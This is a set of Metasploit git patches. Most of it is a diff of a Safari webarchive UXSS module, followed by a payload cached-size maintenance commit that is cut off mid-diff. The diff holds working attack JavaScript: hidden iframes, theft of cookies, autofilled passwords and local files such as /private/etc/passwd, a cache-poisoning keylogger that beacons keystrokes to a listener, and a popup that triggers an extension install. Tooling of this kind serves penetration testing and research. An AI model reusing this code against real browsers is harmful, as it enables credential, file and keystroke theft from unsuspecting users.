}.update(opts['Uri'] || {}) - @http_service.add_resource(webarchive_download_url, uopts) - - print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}") - - # As long as we have the http_service object, we will keep the ftp server alive - while @http_service - select(nil, nil, nil, 1) - end + exploit end def on_request_uri(cli, request) - begin - data_str = if request.body.size > 0 - request.body - else - request.qstring['data'] + if request.method =~ /post/i + data_str = request.body.to_s + begin + data = JSON::parse(data_str || '') + file = record_data(data, cli) + send_response_html(cli, '') + print_good "#{data_str.length} chars received and stored to #{file}" + rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up + file = record_data(data_str, cli) + print_error "Invalid JSON stored in #{file}" + send_response_html(cli, '') end - data = JSON::parse(data_str || '') - file = record_data(data, cli) - send_response_html(cli, '') - print_good "#{data_str.length} chars received and stored to #{file}" - rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up - print_error "Invalid JSON received: #{data_str}" - send_not_found(cli) + else + send_response(cli, webarchive_xml, { + 'Content-Type' => 'application/x-webarchive', + 'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\"" + }) end end # @param [Hash] data the data to store in the log # @return [String] filename where we are storing the data def record_data(data, cli) - @client_cache ||= Hash.new({}) - @client_cache[cli.peerhost]['file'] ||= store_loot( - "safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data" + if data.is_a? Hash + file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'') + end + store_loot( + file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data" ) - file = @client_cache[cli.peerhost]['file'] - - @client_cache[cli.peerhost]['data'] ||= [] - @client_cache[cli.peerhost]['data'].push(data) - data_str = JSON.generate(@client_cache[cli.peerhost]['data']) - - File.write(file, data_str) - - file - end - - ### ASSEMBLE THE WEBARCHIVE XML ### - - # @return [String] contents of webarchive as an XML document - def webarchive_xml - return @xml if not @xml.nil? # only compute xml once - @xml = webarchive_header - urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) } - @xml << webarchive_footer - end - - # @return [String] the first chunk of the webarchive file, containing the WebMainResource - def webarchive_header - %Q| - <?xml version="1.0" encoding="UTF-8"?> - <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" - "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - <plist version="1.0"> - <dict> - <key>WebMainResource</key> - <dict> - <key>WebResourceData</key> - <data> - #{Rex::Text.encode_base64(iframes_container_html)}</data> - <key>WebResourceFrameName</key> - <string></string> - <key>WebResourceMIMEType</key> - <string>text/html</string> - <key>WebResourceTextEncodingName</key> - <string>UTF-8</string> - <key>WebResourceURL</key> - <string>file:///</string> - </dict> - <key>WebSubframeArchives</key> - <array> - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - def webarchive_iframe(url, idx) - %Q| - <dict> - <key>WebMainResource</key> - <dict> - <key>WebResourceData</key> - <data> - #{Rex::Text.encode_base64(iframe_content_for_url(url))}</data> - <key>WebResourceFrameName</key> - <string><!--framePath //<!--frame#{idx}-->--></string> - <key>WebResourceMIMEType</key> - <string>text/html</string> - <key>WebResourceTextEncodingName</key> - <string>UTF-8</string> - <key>WebResourceURL</key> - <string>#{escape_xml url}</string> - </dict> - #{webarchive_iframe_subresources(url, idx)} - </dict> - | - end - - # @return [String] the XML mark up for adding a set of "stored" resources at - # the given URLs - def webarchive_iframe_subresources(url, idx) - %Q| - <key>WebSubresources</key> - <array> - #{webarchive_resources_for_poisoning_cache(url)} - </array> - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - # @return '' if msf user does not want to poison cache - def webarchive_resources_for_poisoning_cache(url) - if not should_install_keyloggers? then return '' end - - url_idx = urls.index(url) - scripts = scripts_to_poison[url_idx] || [] - xml_dicts = scripts.map do |script| - script_body = inject_js_keylogger(script[:body]) - %Q| - <dict> - <key>WebResourceData</key> - <data> - #{Rex::Text.encode_base64(script_body)} - </data> - <key>WebResourceMIMEType</key> - <string>application/javascript</string> - <key>WebResourceResponse</key> - <data> - #{Rex::Text.encode_base64 web_response_xml(script)} - </data> - <key>WebResourceURL</key> - <string>#{escape_xml script[:url]}</string> - </dict> - | - end - xml_dicts.join - end - - # @return [String] the closing chunk of the webarchive XML code - def webarchive_footer - %Q| - </array> - </dict> - </plist> - | - end - - # @param script [Hash] containing HTTP headers from the request - # @return [String] xml markup for serialized WebResourceResponse containing good - # stuff like HTTP/caching headers. Safari appears to do the following: - # NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data]; - # [a encodeObject:response forKey:@"WebResourceResponse"]; - def web_response_xml(script) - # this is a serialized NSHTTPResponse, i'm too lazy to write a - # real encoder so yay lets use string interpolation. - # ripped this straight out of a webarchive save - script['content-length'] = script[:body].length - whitelist = %w(content-type content-length date etag - Last-Modified cache-control expires) - headers = script.clone.delete_if { |k, v| not whitelist.include? k } - - key_set = headers.keys.sort - val_set = key_set.map { |k| headers[k] } - key_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+i } - end - val_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+key_set.length+i } - end - %Q| - <?xml version="1.0" encoding="UTF-8"?> - <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - <plist version="1.0"> - <dict> - <key>$archiver</key> - <string>NSKeyedArchiver</string> - <key>$objects</key> - <array> - <string>$null</string> - <dict> - <key>$0</key> - <integer>8</integer> - <key>$1</key> - <integer>1</integer> - <key>$10</key> - <integer>8</integer> - <key>$11</key> - <integer>0</integer> - <key>$2</key> - <integer>7</integer> - <key>$3</key> - <dict> - <key>CF$UID</key> - <integer>2</integer> - </dict>|+ - (4..7).map do |i| - %Q| - <key>$#{i}</key> - <dict> - <key>CF$UID</key> - <integer>#{i+1}</integer> - </dict>| - end.join("\n") + %Q| - <key>$8</key> - <dict> - <key>CF$UID</key> - <integer>#{8+key_set.length*2+2}</integer> - </dict> - <key>$9</key> - <dict> - <key>CF$UID</key> - <integer>0</integer> - </dict> - <key>$class</key> - <dict> - <key>CF$UID</key> - <integer>#{8+key_set.length*2+3}</integer> - </dict> - </dict> - <dict> - <key>$class</key> - <dict> - <key>CF$UID</key> - <integer>4</integer> - </dict> - <key>NS.base</key> - <dict> - <key>CF$UID</key> - <integer>0</integer> - </dict> - <key>NS.relative</key> - <dict> - <key>CF$UID</key> - <integer>3</integer> - </dict> - </dict> - <string>#{escape_xml script[:url]}</string> - <dict> - <key>$classes</key> - <array> - <string>NSURL</string> - <string>NSObject</string> - </array> - <key>$classname</key> - <string>NSURL</string> - </dict> - <real>388430153.25252098</real> - <integer>1</integer> - <integer>200</integer> - <dict> - <key>$class</key> - <dict> - <key>CF$UID</key> - <integer>#{8+key_set.length*2+1}</integer> - </dict> - <key>NS.keys</key> - <array>|+ - key_set.each_with_index.map do |k, i| - %Q|<dict> - <key>CF$UID</key> - <integer>#{9+i}</integer> - </dict>| - end.join("\n") + %Q| - </array> - <key>NS.objects</key> - <array>|+ - val_set.each_with_index.map do |k, i| - %Q|<dict> - <key>CF$UID</key> - <integer>#{9+key_set.length+i}</integer> - </dict>| - end.join("\n") + %Q| - </array> - </dict> - #{key_set.map{|s| "<string>#{s}</string>" }.join("\n")} - #{val_set.map{|s| "<string>#{s}</string>" }.join("\n")} - <dict> - <key>$classes</key> - <array> - <string>NSMutableDictionary</string> - <string>NSDictionary</string> - <string>NSObject</string> - </array> - <key>$classname</key> - <string>NSMutableDictionary</string> - </dict> - <integer>107961</integer> - <dict> - <key>$classes</key> - <array> - <string>NSHTTPURLResponse</string> - <string>NSURLResponse</string> - <string>NSObject</string> - </array> - <key>$classname</key> - <string>NSHTTPURLResponse</string> - </dict> - </array> - <key>$top</key> - <dict> - <key>WebResourceResponse</key> - <dict> - <key>CF$UID</key> - <integer>1</integer> - </dict> - </dict> - <key>$version</key> - <integer>100000</integer> - </dict> - </plist> - | - end - - - #### JS/HTML CODE #### - - # Wraps the result of the block in an HTML5 document and body - def wrap_with_doc(&blk) - %Q| - <!doctype html> - <html> - <body> - #{yield} - </body> - </html> - | - end - - # Wraps the result of the block with <script> tags - def wrap_with_script(&blk) - "<script>#{yield}</script>" - end - - # @return [String] mark up for embedding the iframes for each URL in a place that is - # invisible to the user - def iframes_container_html - hidden_style = "position:fixed; left:-600px; top:-600px;" - wrap_with_doc do - frames = urls.map { |url| "<iframe src='#{url}' style='#{hidden_style}'></iframe>" } - communication_js + frames.join + injected_js_helpers + steal_files + message - end - end - - # @return [String] javascript code, wrapped in script tags, that is inserted into the - # WebMainResource (parent) frame so that child frames can communicate "up" to the parent - # and send data out to the listener - def communication_js - wrap_with_script do - %Q| - window.addEventListener('message', function(event){ - var x = new XMLHttpRequest; - x.open('POST', '#{backend_url}#{collect_data_uri}', true); - x.send(event.data); - }); - | - end - end - - # @return [String] all the HTML markup required for executing the chosen attacks - def iframe_content_for_url(url) - # this JS code runs inside the iframes, in the context of url - html = '' - html << injected_js_helpers - html << trigger_cache_poison_for_url(url) if should_install_keyloggers? - html << steal_cookies_for_url(url) if should_steal_cookies? - html << steal_form_data_for_url(url) if should_steal_form? - wrap_with_doc { html } - end - - # @return [String] javascript code, wrapped in a script tag, that steals the cookies - # and response body/headers, and passes them back up to the parent. - def steal_cookies_for_url(url) - wrap_with_script do - %Q| - try { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', '#{url}', true); - req.onreadystatechange = function() { - if (req.readyState==4 && !sent) { - sendData('#{url}', { - response_headers: req.getAllResponseHeaders(), - response_body: req.responseText - }); - sent = true; - } - }; - req.send(null); - } catch (e) {} - sendData('cookie', document.cookie); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals local files - # and sends them back to the listener. This code is executed in the WebMainResource (parent) - # frame, which runs in the file:// protocol - def steal_files - return '' unless should_steal_files? - urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ') - wrap_with_script do - %Q| - var filesStr = "#{urls_str}"; - var files = filesStr.trim().split(/\s+/); - var stealFile = function(url) { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', url, true); - req.onreadystatechange = function() { - if (!sent && req.responseText && req.responseText.length > 0) { - sendData(url, req.responseText); - sent = true; - } - }; - req.send(null); - }; - for (var i = 0; i < files.length; i++) stealFile(files[i]); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals autosaved form - # usernames and passwords. The attack first tries to render the target URL in an iframe, - # and steal populated passwords from there. If the site disables iframes through the - # X-Frame-Options header, we try popping open a new window and rendering the site in that. - def steal_form_data_for_url(url) - wrap_with_script do - %Q| - var stealFormData = function(win, completeFn) { - var doc = win.document; - if (!doc) doc = win.contentDocument; - return function() { - var data = {}, found = false; - try { - var inputs = doc.querySelectorAll( - 'input[type=email],input[type=text],input[type=password],textarea' - ); - for (var i = 0; i < inputs.length; i++) { - if (inputs[i].value && inputs[i].value.length > 0) { - found = true; - data[inputs[i].name] = inputs[i].value; - } - } - if (found) sendData(data); - if (completeFn) completeFn.call(); - } catch(e) {} - } - } - - var tryInNewWin = function() { - var y = window.open('#{url}', '_blank', 'height=0;width=0;location=0;left=200;'); - if (y) { - var int1 = window.setInterval(function(){y.blur();window.top.focus();}, 20); - y.addEventListener('load', function() { - window.setTimeout(stealFormData(y, function(){ - if (int1) { - window.clearInterval(int1); - int1 = null; - } - y.close(); - }), 500); - }, false); - } - }; - var tryInIframe = function(){ - var i = document.createElement('iframe'); - i.style = 'position:absolute;width:2px;height:2px;left:-2000px;top:-2000px;'; - document.body.appendChild(i); - i.src = '#{url}'; - i.addEventListener('load', function() { - window.setTimeout(stealFormData(i), 500); - }, false); - return i; - }; - - var iframe = tryInIframe(); - if (#{should_pop_up?}) { - window.setTimeout(function(){ - - if (iframe.contentDocument && - iframe.contentDocument.location.href == 'about:blank') { - tryInNewWin(); - } - }, 1000) - } - | - end - end - - # @return [String] javascript code, wrapped in script tag, that adds a helper function - # called "sendData()" that passes the arguments up to the parent frame, where it is - # sent out to the listener - def injected_js_helpers - wrap_with_script do - %Q| - window.sendData = function(key, val) { - var data = {}; - data[key] = val; - window.top.postMessage(JSON.stringify(data), "*") - }; - | - end - end - - # @return [String] HTML markup that includes a script at the URL we want to poison - # We will then install the injected_js_keylogger at the same URL - def trigger_cache_poison_for_url(url) - url_idx = urls.index(url) - scripts_to_poison[url_idx].map { |s| - "\n<script src='#{s[:url]}' type='text/javascript'></script>\n" - }.join - end - - # @param original_js [String] the original contents of the script file - # @return [String] the poisoned contents. Once the module has found a valid 304'd script to - # poison, it "poisons" it by adding a keylogger, then adds the output as a resource with - # appropriate Cache-Control to the webarchive. - # @return [String] the original contents if msf user does not want to install keyloggers - def inject_js_keylogger(original_js) - if not should_install_keyloggers? - original_js - else - frame_name = 'lalala___lalala' - secret = '____INSTALLED!??!' - %Q| - (function(){ - if (window['#{secret}']) return; - window['#{secret}'] = true; - document.addEventListener('DOMContentLoaded',function(){ - var buffer = ''; - var sendData = function(keystrokes, time) { - var img = new Image(); - data = JSON.stringify({keystrokes: keystrokes, time: time}); - img.src = '#{backend_url}#{collect_data_uri}?data='+data; - } - document.addEventListener('keydown', function(e) { - var c = String.fromCharCode(e.keyCode); - if (c.length > 0) buffer += c; - }, true); - window.setInterval(function(){ - if (buffer.length > 0) { - sendData(buffer, new Date); - buffer = ''; - } - }, 3000) - }); - })(); - #{original_js} - | - end - end - - # @return [Array<Array<String>>] list of URLs provided by the user mapped to all of the linked - # javascript assets in its HTML response. - def all_script_urls(pages) - pages.map do |url| - results = [] - print_status "Fetching URL #{url}..." - # fetch and parse the HTML document - doc = Nokogiri::HTML(URI.parse(url).open) - # recursively add scripts from iframes - doc.css('iframe').each do |iframe| - print_status "Checking iframe..." - if not iframe.attributes['src'].nil? and not iframe.attributes['src'].value.empty? - results += all_script_urls([iframe.attributes['src'].value]) - end - end - # add all scripts on the current page - doc.css('script').each do |script| # loop over every <script> - # external scripts only - if not script.attributes['src'].nil? and not script.attributes['src'].value.empty? - results << script.attributes['src'].value - end - end - results - end - end - - # @return [Array<Array<Hash>>] list of headers returned by cacheabke remote javascripts - def find_cached_scripts - cached_scripts = all_script_urls(urls).each_with_index.map do |urls_for_site, i| - begin - page_uri = URI.parse(urls[i]) - rescue URI::InvalidURIError => e - next - end - - results = urls_for_site.uniq.map do |url| - begin - print_status "URL: #{url}" - begin - script_uri = URI.parse(url) - if script_uri.relative? - url = page_uri + url - end - if url.to_s.starts_with? '//' - url = "#{page_uri.scheme}:#{url}" - end - io = URI.parse(url).open - rescue URI::InvalidURIError, OpenURI::HTTPError - next - end - - # parse some HTTP headers and do type coercions - last_modified = io.last_modified - expires = Time.parse(io.meta['expires']) rescue nil - cache_control = io.meta['cache-control'] || '' - charset = io.charset - etag = io.meta['etag'] - # lets see if we are able to "poison" the cache for this asset... - if (!expires.nil? && Time.now < expires) or - (cache_control.length > 0) or # if asset is cacheable - (not last_modified.nil? and last_modified.to_s.length > 0) - print_status("Found cacheable #{url}") - io.meta.merge(:body => io.read, :url => url) - else - nil - end - rescue Errno::ENOENT => e # lots of things can go wrong here. - next - end - end - results.compact # remove nils - end - print_status "Found #{cached_scripts.flatten.length} script(s) that are poisonable." - cached_scripts - end - - ### HELPERS ### - - # @return [String] the path to send data back to - def collect_data_uri - path = datastore["URIPATH"] - if path.nil? or path.empty? - '/grab' - elsif path =~ /^\// - path - else - "/#{path}" - end end # @return [String] formatted http/https URL of the listener @@ -820,60 +82,22 @@ class Metasploit3 < Msf::Auxiliary proto = (datastore["SSL"] ? "https" : "http") myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" - "#{proto}://#{myhost}#{port_str}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" end - # @return [String] URL that serves the malicious webarchive - def webarchive_download_url - datastore["DOWNLOAD_PATH"] - end - - # @return [Array<String>] of interesting file URLs to steal. Additional files can be stolen - # via the FILE_URLS module option. - def interesting_file_urls - [ - 'file:///var/log/weekly.out', # may contain usernames - 'file:///private/var/log/secure.log', - 'file:///private/var/log/install.log', - 'file:///private/etc/passwd' - ] - end - - # @return [String] HTML content that is rendered in the <body> of the webarchive. def message - "<p>You are being redirected. <a href='#'>Click here if nothing happens</a>.</p>" + super + (datastore['INSTALL_EXTENSION'] ? " <a href='javascript:void(0)'>Click here to continue.</a>" + popup_js : '') end - # @return [Array<String>] of URLs provided by the user - def urls - (datastore['URLS'] || '').split(/\s+/) + def popup_js + wrap_with_script do + %Q| + window.onclick = function() { + window.open('data:text/html,<script>opener.postMessage("EXT", "*");window.location="#{apple_extension_url}";<\\/script>'); + }; + | + end end - # @param input [String] the unencoded string - # @return [String] input with dangerous chars replaced with xml entities - def escape_xml(input) - input.to_s.gsub("&", "&").gsub("<", "<") - .gsub(">", ">").gsub("'", "'") - .gsub("\"", """) - end - def should_steal_cookies? - datastore['STEAL_COOKIES'] - end - - def should_steal_form? - datastore['STEAL_FORM_DATA'] - end - - def should_steal_files? - datastore['STEAL_FILES'] - end - - def should_pop_up? - should_steal_form? and datastore['ENABLE_POPUPS'] - end - - def should_install_keyloggers? - datastore['INSTALL_KEYLOGGERS'] - end end From 0615d908c4db283b472cf1c1bb035b3d036defc8 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Thu, 13 Aug 2015 23:46:37 -0500 Subject: [PATCH 068/119] Update description to explain quarantine effects. --- modules/auxiliary/gather/apple_safari_webarchive_uxss.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index b62865e0ff..98d347f89d 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -22,6 +22,10 @@ class Metasploit3 < Msf::Auxiliary inject cross-domain Javascript (UXSS), silently install a browser extension, collect user information, steal the cookie database, and steal arbitrary local files. + + When opened on the target machine the webarchive file must not have the + quarantine attribute set, as this forces the webarchive to execute in a + sandbox. }, 'License' => MSF_LICENSE, 'Author' => 'joev', From 6b1e911041a3d22cfc5cae843ff0c3b4e53b217f Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 13 Aug 2015 11:10:50 -0500 Subject: [PATCH 069/119] Instantiate payload modules so parameter validation occurs Calling .new on payload modules does not perform parameter validation, leading to a number cached sizes based on invalid parameters. Most notably, normalization does not occur either, which makes all OptBool params default to true. --- lib/msf/util/payload_cached_size.rb | 32 ++++++++++++++++--- modules/payloads/singles/bsd/x64/exec.rb | 2 +- .../singles/bsd/x64/shell_bind_tcp.rb | 2 +- .../singles/bsd/x64/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/bsd/x86/exec.rb | 2 +- modules/payloads/singles/cmd/unix/generic.rb | 2 +- modules/payloads/singles/cmd/unix/reverse.rb | 2 +- .../payloads/singles/cmd/unix/reverse_awk.rb | 2 +- .../payloads/singles/cmd/unix/reverse_lua.rb | 2 +- .../singles/cmd/unix/reverse_netcat_gaping.rb | 2 +- .../singles/cmd/unix/reverse_nodejs.rb | 2 +- .../singles/cmd/unix/reverse_openssl.rb | 2 +- .../payloads/singles/cmd/unix/reverse_perl.rb | 2 +- .../singles/cmd/unix/reverse_perl_ssl.rb | 2 +- .../singles/cmd/unix/reverse_php_ssl.rb | 2 +- .../singles/cmd/unix/reverse_python_ssl.rb | 2 +- .../payloads/singles/cmd/unix/reverse_ruby.rb | 2 +- .../singles/cmd/unix/reverse_ruby_ssl.rb | 2 +- .../cmd/unix/reverse_ssl_double_telnet.rb | 2 +- .../payloads/singles/cmd/unix/reverse_zsh.rb | 2 +- .../payloads/singles/cmd/windows/adduser.rb | 2 +- .../payloads/singles/cmd/windows/generic.rb | 2 +- .../cmd/windows/powershell_bind_tcp.rb | 2 +- .../cmd/windows/powershell_reverse_tcp.rb | 2 +- .../singles/cmd/windows/reverse_lua.rb | 2 +- .../singles/cmd/windows/reverse_perl.rb | 2 +- .../singles/cmd/windows/reverse_powershell.rb | 2 +- .../singles/cmd/windows/reverse_ruby.rb | 2 +- modules/payloads/singles/firefox/exec.rb | 2 +- .../singles/java/jsp_shell_reverse_tcp.rb | 2 +- .../singles/java/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/linux/armle/exec.rb | 2 +- modules/payloads/singles/linux/mipsbe/exec.rb | 2 +- .../singles/linux/mipsbe/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/linux/mipsle/exec.rb | 2 +- .../singles/linux/mipsle/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/linux/x64/exec.rb | 4 +-- modules/payloads/singles/linux/x86/exec.rb | 2 +- .../payloads/singles/linux/x86/read_file.rb | 2 +- .../singles/linux/x86/shell_reverse_tcp2.rb | 2 +- .../singles/nodejs/shell_reverse_tcp.rb | 2 +- .../singles/nodejs/shell_reverse_tcp_ssl.rb | 2 +- modules/payloads/singles/osx/x64/exec.rb | 2 +- .../singles/osx/x64/shell_bind_tcp.rb | 2 +- .../singles/osx/x64/shell_find_tag.rb | 2 +- .../singles/osx/x64/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/osx/x86/exec.rb | 2 +- .../singles/php/meterpreter_reverse_tcp.rb | 2 +- .../singles/python/shell_reverse_tcp.rb | 2 +- .../singles/python/shell_reverse_tcp_ssl.rb | 2 +- .../singles/ruby/shell_reverse_tcp.rb | 2 +- .../singles/ruby/shell_reverse_tcp_ssl.rb | 2 +- .../singles/solaris/sparc/shell_find_port.rb | 2 +- .../singles/solaris/x86/shell_bind_tcp.rb | 2 +- .../singles/solaris/x86/shell_find_port.rb | 2 +- .../singles/solaris/x86/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/adduser.rb | 2 +- .../singles/windows/dns_txt_query_exec.rb | 2 +- .../payloads/singles/windows/download_exec.rb | 2 +- modules/payloads/singles/windows/exec.rb | 2 +- .../payloads/singles/windows/loadlibrary.rb | 2 +- .../singles/windows/powershell_bind_tcp.rb | 2 +- .../singles/windows/powershell_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/x64/exec.rb | 2 +- .../singles/windows/x64/loadlibrary.rb | 2 +- .../windows/x64/powershell_bind_tcp.rb | 2 +- .../windows/x64/powershell_reverse_tcp.rb | 2 +- modules/payloads/stagers/java/reverse_http.rb | 2 +- .../payloads/stagers/java/reverse_https.rb | 2 +- modules/payloads/stagers/java/reverse_tcp.rb | 2 +- .../payloads/stagers/linux/x86/reverse_tcp.rb | 2 +- .../stagers/linux/x86/reverse_tcp_uuid.rb | 2 +- .../payloads/stagers/netware/reverse_tcp.rb | 2 +- modules/payloads/stagers/php/reverse_tcp.rb | 2 +- .../payloads/stagers/php/reverse_tcp_uuid.rb | 2 +- .../payloads/stagers/python/reverse_tcp.rb | 2 +- .../stagers/python/reverse_tcp_uuid.rb | 2 +- .../payloads/stagers/windows/reverse_http.rb | 2 +- .../windows/reverse_http_proxy_pstore.rb | 2 +- .../payloads/stagers/windows/reverse_https.rb | 2 +- .../stagers/windows/reverse_https_proxy.rb | 2 +- .../stagers/windows/x64/reverse_http.rb | 2 +- .../stagers/windows/x64/reverse_https.rb | 2 +- spec/modules/payloads_spec.rb | 6 ++-- .../payload_cached_size_is_consistent.rb | 29 ++++++++++++++++- tools/update_payload_cached_sizes.rb | 7 ++-- 86 files changed, 146 insertions(+), 94 deletions(-) diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index f349be43ca..e299739664 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -14,6 +14,27 @@ module Util class PayloadCachedSize + @opts = { + 'Format' => 'raw', + 'Options' => { + 'CPORT' => 4444, + 'LPORT' => 4444, + 'LHOST' => '255.255.255.255', + 'KHOST' => '255.255.255.255', + 'AHOST' => '255.255.255.255', + 'CMD' => '/bin/sh', + 'URL' => 'http://a.com', + 'PATH' => '/', + 'BUNDLE' => 'data/isight.bundle', + 'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll', + 'RC4PASSWORD' => 'Metasploit', + 'DNSZONE' => 'corelan.eu', + 'PEXEC' => '/bin/sh' + }, + 'Encoder' => nil, + 'DisableNops' => true + } + # Insert a new CachedSize value into the text of a payload module # # @param data [String] The source code of a payload module @@ -60,7 +81,7 @@ class PayloadCachedSize # @return [Fixnum] def self.compute_cached_size(mod) return ":dynamic" if is_dynamic?(mod) - return mod.new.size + return mod.generate_simple(@opts).size end # Determines whether a payload generates a static sized output @@ -69,8 +90,9 @@ class PayloadCachedSize # @param generation_count [Fixnum] The number of iterations to use to # verify that the size is static. # @return [Fixnum] - def self.is_dynamic?(mod,generation_count=5) - [*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1 + def self.is_dynamic?(mod, generation_count=5) + [*(1..generation_count)].map{|x| + mod.generate_simple(@opts).size}.uniq.length != 1 end # Determines whether a payload's CachedSize is up to date @@ -78,9 +100,9 @@ class PayloadCachedSize # @param mod [Msf::Payload] The class of the payload module to update # @return [Boolean] def self.is_cached_size_accurate?(mod) - return true if mod.dynamic_size? + return true if mod.dynamic_size? && is_dynamic?(mod) return false if mod.cached_size.nil? - mod.cached_size == mod.new.size + mod.cached_size == mod.generate_simple(@opts).size end end diff --git a/modules/payloads/singles/bsd/x64/exec.rb b/modules/payloads/singles/bsd/x64/exec.rb index fb391f6b3d..150d96f356 100644 --- a/modules/payloads/singles/bsd/x64/exec.rb +++ b/modules/payloads/singles/bsd/x64/exec.rb @@ -17,7 +17,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 23 + CachedSize = 31 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb index ca682e1e08..9528c88233 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb @@ -40,7 +40,7 @@ module Metasploit3 # build the shellcode payload dynamically based on the user-provided CMD def generate - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" port = [datastore['LPORT'].to_i].pack('n') call = "\xe8" + [cmd.length].pack('V') payload = diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb index 0c87216d8b..fece7de959 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb @@ -49,7 +49,7 @@ module Metasploit3 raise ArgumentError, "LHOST must be in IPv4 format." end - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" port = [datastore['LPORT'].to_i].pack('n') ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N") diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index 552ff37273..eee7aebbd9 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -17,7 +17,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 16 + CachedSize = 24 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/modules/payloads/singles/cmd/unix/generic.rb b/modules/payloads/singles/cmd/unix/generic.rb index a1e283951a..3b982b201f 100644 --- a/modules/payloads/singles/cmd/unix/generic.rb +++ b/modules/payloads/singles/cmd/unix/generic.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 8 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse.rb b/modules/payloads/singles/cmd/unix/reverse.rb index 9333695bc1..2ef164ebd7 100644 --- a/modules/payloads/singles/cmd/unix/reverse.rb +++ b/modules/payloads/singles/cmd/unix/reverse.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 100 + CachedSize = 130 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_awk.rb b/modules/payloads/singles/cmd/unix/reverse_awk.rb index 10a4d1c497..05402d4153 100644 --- a/modules/payloads/singles/cmd/unix/reverse_awk.rb +++ b/modules/payloads/singles/cmd/unix/reverse_awk.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 95 + CachedSize = 110 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb index f95478851e..95bbd8dd3c 100644 --- a/modules/payloads/singles/cmd/unix/reverse_lua.rb +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 209 + CachedSize = 224 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb index d20797943d..5040d2cba9 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb +++ 